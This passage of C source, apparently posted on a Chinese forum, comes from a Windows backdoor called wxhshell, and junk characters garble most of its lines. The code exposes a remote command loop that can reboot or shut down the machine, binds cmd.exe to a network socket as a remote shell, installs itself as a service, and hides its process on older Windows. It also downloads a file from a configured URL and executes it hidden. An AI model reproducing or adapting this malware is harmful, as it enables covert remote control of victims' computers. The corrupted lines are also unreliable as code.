  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2vu"PeU9  
  } "7Zb)Ocb  
  else { GkaIqBS  
yi r#G""7  
    switch(cmd[0]) { {$oZR" MP  
  z Sj.Y{J  
  // 帮助 +%$!sp?  
  case '?': { mNWmp_c,1  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); uTBls8  
    break; L7%Dc2{^(  
  } c*HS#C7'2  
  // 安装 n]6xrsE  
  case 'i': { y3c]zDjV  
    if(Install()) L8/o9N1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); W446;)?5  
    else r >u0Y  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); b ]1SuL  
    break; `c(,_o a{  
    } *N[.']#n  
  // 卸载 `f8{ ^Rau  
  case 'r': { o5i?|HJ  
    if(Uninstall()) % 7/XZQ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !ck=\3pr  
    else %Kd8ZNv  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4US8B=jk  
    break; 5i83(>p3]e  
    } V.: a6>]  
  // 显示 wxhshell 所在路径 XDz![s  
  case 'p': { U$ _?T-x  
    char svExeFile[MAX_PATH]; #xm<|s   
    strcpy(svExeFile,"\n\r"); "|.>pD#0&  
      strcat(svExeFile,ExeFile);  ^qy$M>  
        send(wsh,svExeFile,strlen(svExeFile),0); [ C] =p  
    break;  Pb+oV  
    } yL_-w/a  
  // 重启  &5O  
  case 'b': { zf5s\w.4  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); [/6$P[  
    if(Boot(REBOOT)) I8 8y9sW  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2:&8FdU  
    else { MS_&;2  
    closesocket(wsh); N@58R9P<p  
    ExitThread(0); F, %qG,  
    } #fzvK+  
    break; OzX\ s=  
    } HI,1~ Jw+  
  // 关机 va95/(  
  case 'd': { Yw\} '7  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); />FrMz8;(  
    if(Boot(SHUTDOWN)) z%`Tf&UL  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); s lDxsb  
    else { +T"kx\<  
    closesocket(wsh); /Fk LZm  
    ExitThread(0); slOki|p;  
    } gD@ &/j7  
    break; C ])Q#!D|  
    } HP3~.1Sp  
  // 获取shell ( X)$8y  
  case 's': { y~SFlv36  
    CmdShell(wsh); {iYu x;(  
    closesocket(wsh); )>\J~{  
    ExitThread(0); uQ vW@Tt  
    break; wkdd&Nw;  
  } 9RE{,mos2v  
  // 退出 lqF{Y<l  
  case 'x': { XG<^j}H{}  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 0`h[|FYV  
    CloseIt(wsh); wTf0O@``6H  
    break; rPaD#GA[7  
    } 3+EJ%  
  // 离开 E,c~.jYc  
  case 'q': { _ZzN}!Mye  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); J.$<Lnt>u  
    closesocket(wsh); = <O{t#]  
    WSACleanup(); /JEH%)  
    exit(1); ojs&W]r0Z  
    break; _-%ay  
        } W ;P1T"*A  
  } yD#w @yG  
  } p? iJ'K  
!V+5$TsS  
  // 提示信息 1.p?P] .  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~H@':Mms.h  
} Rb#Z'1D'G  
  } _8 vxb  
9`4h"9dO  
  return; >,@Fz)\:{'  
} x3PeU_9  
tPO.^  
// shell模块句柄 g"(N_sv?  
int CmdShell(SOCKET sock) L]K*Do  
{ '8*gJ7]  
STARTUPINFO si; @ RTQJ+ms  
ZeroMemory(&si,sizeof(si)); nI2}E  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 4=o3 ZRV  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; l>~:lBO  
PROCESS_INFORMATION ProcessInfo; yC+N18y?  
char cmdline[]="cmd"; zesEbR)j  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); e&; c^Z  
  return 0; @h>#cwhU  
} 2*K0~ b`  
Ct}"o  
// 自身启动模式 }K<;ygcWE@  
int StartFromService(void) k`oXo%  
{ 5CU< ?  
typedef struct U|{WtuR  
{ R^1= :<)C  
  DWORD ExitStatus; D1o 8Wo  
  DWORD PebBaseAddress; qhK;#<#  
  DWORD AffinityMask; ~gI%   
  DWORD BasePriority; 3-o ]H'6  
  ULONG UniqueProcessId; *9PS2*n  
  ULONG InheritedFromUniqueProcessId; <( BAws(X  
}   PROCESS_BASIC_INFORMATION; $XyGCn  
Ql&P1|&  
PROCNTQSIP NtQueryInformationProcess; ,Yi =s;E  
=_^g]?5i  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; JYv&It  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Tw!x*  
+%U@  
  HANDLE             hProcess; {/Q pEd>3+  
  PROCESS_BASIC_INFORMATION pbi; ?MpGz CPa  
9sYX(Fl  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Z#V[N9L  
  if(NULL == hInst ) return 0; \F1n Ej  
HowlJ[km%  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ^1*p]j(  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); _^P>@ ^  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); m.V mS7_I  
B5I(ai7<M  
  if (!NtQueryInformationProcess) return 0; g^0  
3>L1}zyM]  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Jt)<RMQ^R  
  if(!hProcess) return 0; !%Z1" FDm/  
 K[?wP>s  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; *Gu=O|Mm  
9 z3Iwl  
  CloseHandle(hProcess); HH+rib'u  
@kqy!5)K  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 8i:b~y0  
if(hProcess==NULL) return 0; m|f|u3'z$  
"4"L"lJ   
HMODULE hMod; IL>g-  
char procName[255]; ?C $_?Qi  
unsigned long cbNeeded; NEGpf[$  
C y& L,  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); \{UiGCK  
GbL,k? ey  
  CloseHandle(hProcess); JT_#>',  
SR43#!99Q  
if(strstr(procName,"services")) return 1; // 以服务启动 x`o_&09;CG  
^ )+tn  
  return 0; // 注册表启动 .0a$E`V=D  
} f3596a  
Q7Dkh KT  
// 主模块 9]7^/g*!  
int StartWxhshell(LPSTR lpCmdLine) |20p#]0E+  
{ l[.pI];T  
  SOCKET wsl; PMTyiwlm  
BOOL val=TRUE; }NYsKu_cM  
  int port=0; W0nRUAo[  
  struct sockaddr_in door; u;Z~Px4]v  
] xH `  
  if(wscfg.ws_autoins) Install(); W5yqnjK $4  
JgxOxZS`@  
port=atoi(lpCmdLine); Ybok[5  
HZP`u >.  
if(port<=0) port=wscfg.ws_port; H7\EvIM=  
 35,SPR  
  WSADATA data; C"F(kgL  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; `U;4O)`n  
: 0%V:B  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   (>Tu~Vo  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); y\@XW*_?  
  door.sin_family = AF_INET; U~T/f-CT  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); RQh4RUm  
  door.sin_port = htons(port); _y8)jD"  
\ (X~Z  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { dwmj*+  
closesocket(wsl); 2?m'Dy'JE  
return 1; fo5!d@Nv  
} &PGU%"rN  
?5+=  
  if(listen(wsl,2) == INVALID_SOCKET) { evn ]n  
closesocket(wsl); gN(8T_r  
return 1; mT)iN`$Y@  
} hsVWD,w  
  Wxhshell(wsl); ] ^.#d  
  WSACleanup(); <)"Mi}Q[)p  
N]5-#  
return 0; XRaq\a`=:  
QRa>W/N  
} @y}1%{,%  
:.Np7[~{  
// 以NT服务方式启动 _STN^   
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) CM~)\prks  
{  DMf:u`<  
DWORD   status = 0; 1'}~;?_  
  DWORD   specificError = 0xfffffff; \f%jN1z  
r0hu?3u1?  
  serviceStatus.dwServiceType     = SERVICE_WIN32; N|8TE7- F|  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; jtN2%w;  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; D[9eu>"'9M  
  serviceStatus.dwWin32ExitCode     = 0; /(XtNtO*  
  serviceStatus.dwServiceSpecificExitCode = 0; ]3C7guWz  
  serviceStatus.dwCheckPoint       = 0; k+%6 :r,r&  
  serviceStatus.dwWaitHint       = 0; Au:Q4x.  
V~ZAs+(2Z  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); lB3W|-Ci  
  if (hServiceStatusHandle==0) return; \J:/l|h  
4WDh8U  
status = GetLastError(); _kgw+NA&-H  
  if (status!=NO_ERROR) *qGxQ?/  
{ M2mte#h  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; lS9rgq<n  
    serviceStatus.dwCheckPoint       = 0; rsA K0R+  
    serviceStatus.dwWaitHint       = 0; NtSa# $A  
    serviceStatus.dwWin32ExitCode     = status; @ Al\:  
    serviceStatus.dwServiceSpecificExitCode = specificError; vMDV%E S1t  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?r#e  
    return; AEhh 6v  
  } X >C*(/a  
E_7N^htv  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; (B]rINY|  
  serviceStatus.dwCheckPoint       = 0; _KC()OIeC  
  serviceStatus.dwWaitHint       = 0; t-i;  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); }M * Oo  
} t%V!SvT8+  
5c! ~WckbJ  
// 处理NT服务事件,比如:启动、停止 XeKIue@_  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 3<CCC+47  
{ MAQkk%6[g  
switch(fdwControl) !A,]  
{ Y6 &w0~?!  
case SERVICE_CONTROL_STOP: uI!rJc>TX  
  serviceStatus.dwWin32ExitCode = 0; vc5g 4ud  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; [n44;  
  serviceStatus.dwCheckPoint   = 0; +r"{$'{^  
  serviceStatus.dwWaitHint     = 0; v:nm#P%P  
  { ^ ,d!K2`  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); AK} wSXF  
  } D:/^TEib  
  return; 5O%Q*\(  
case SERVICE_CONTROL_PAUSE: B{PI&a9~s%  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; LaG./+IP  
  break; C%9;~S  
case SERVICE_CONTROL_CONTINUE: %l( qyH)*  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; n&jfJgD&g  
  break; W MU9tq[  
case SERVICE_CONTROL_INTERROGATE: 4 >at# Zc  
  break; d dkh*[  
}; x$tx!%,)/S  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); =c"`>Vi@d  
} D .oX>L#:  
bx_`S#*N  
// 标准应用程序主函数 ?~Fk_#jz,@  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) g[!t@K  
{ N0,wT6.  
D pI)qg#>V  
// 获取操作系统版本 0GK<l  
OsIsNt=GetOsVer(); 0&mOu #l  
GetModuleFileName(NULL,ExeFile,MAX_PATH); KuL2X@)}  
BqC!78Y/e  
  // 从命令行安装 33z)F  
  if(strpbrk(lpCmdLine,"iI")) Install(); AKk6kI8F  
dbQUW#<Q  
  // 下载执行文件 mEyJ o|  
if(wscfg.ws_downexe) { 71_{FL8  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) /g BB  
  WinExec(wscfg.ws_filenam,SW_HIDE); =i O K($  
} q|;_G#4  
iZ}  w>1  
if(!OsIsNt) { =ZR9zL=h  
// 如果时win9x,隐藏进程并且设置为注册表启动 ?mU 3foa  
HideProc(); h,o/(GNnW  
StartWxhshell(lpCmdLine); ^1^k<  
} qpjtF'  
else A[`c2v-hF  
  if(StartFromService()) =NMT H[  
  // 以服务方式启动 N3nFE:`u]  
  StartServiceCtrlDispatcher(DispatchTable); ,:Qy%k}f  
else ?f<JwF<  
  // 普通方式启动 +LuGjDn0  
  StartWxhshell(lpCmdLine); pLjet~2}iJ  
PeT _Ty  
return 0; $<cio X  
}
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只看该作者 1 发表于: 2006-10-10
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